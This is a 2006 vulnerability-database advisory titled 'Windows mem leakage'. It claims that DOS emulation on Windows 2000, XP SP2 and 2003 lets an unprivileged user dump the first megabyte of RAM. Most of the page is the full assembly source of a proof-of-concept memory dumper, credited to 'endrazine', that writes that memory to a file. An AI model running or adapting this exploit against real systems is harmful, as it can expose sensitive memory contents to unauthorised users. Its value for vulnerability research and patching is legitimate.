Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11207
HistoryJan 27, 2006 - 12:00 a.m.

Windows mem leakage

2006-01-2700:00:00
vulners.com
9

Desc : Windows Dos emulation allows dumping of first 1 Mo of RAM (with no
particular privilege).

Tested under : Win 2000, XP SP2, 2003

Code :

;---------------- [ dumper.asm ]-----------------------------------------
; Dump first 1 Mo of memory under any MS product
; 1 Mo is the maximum quantity of accessible memory
; in real mode using 16b OSes.
;
; endrazine, last update : 30/12/2005
;
;-------------------------------------------------------------------------

code segment
org 100h
assume ds:code, es:code, cs:code

    xor ax,ax
    mov si,ax

start:
mov ah, 09h
mov dx,offset welcome
int 21h

    xor ax,ax              ;Wait until key pressed
    int 16h


    mov ah, 3ch                 ; MS DOS Create file Function
    mov dx, offset fname
    xor cx,cx
    int 21h


    mov ax, 3d01h               ; MS DOS Open file Function
    int 21h
    mov handle,ax


    xor ax,ax
    mov ds,ax
    mov myds,ds
    mov cx,32

dabigloop:
push cx

    xor ax,ax
    mov si,ax

    ;==destination==
    mov di,offset buffer
    mov es,cs

    ;==compteur==
    mov cx,16384

    ;==copy==
    rep movsw

    mov ds,cs

    xor ax,ax
    mov ah, 40h
    mov bx,handle
    mov cx,32768; +10
    mov dx, offset buffer
    int 21h

    mov ax,myds

;add ax,2047 ;repeat last 16b
add ax,2048
mov myds,ax
mov ds,ax

    pop cx

    loop dabigloop

    mov ax,4ch                  ; Quit
    int 21h

myds dw ?
handle dw ?
welcome db '[ Raw Dos Memory Dumper ]',10,13
db '',10,13
db '[ coded by endrazine ]',10,13
db '',10,13
db '[ Dumping First Memory chunk to Dump.txt ]',10,13
db 'Press any key$',10,13
fname db 'Dump.txt',0
buffer db 32768 dup ?
some_canari_separator db '//////////',0
end start

end

;------------------------------------------------------------------------

Endrazine-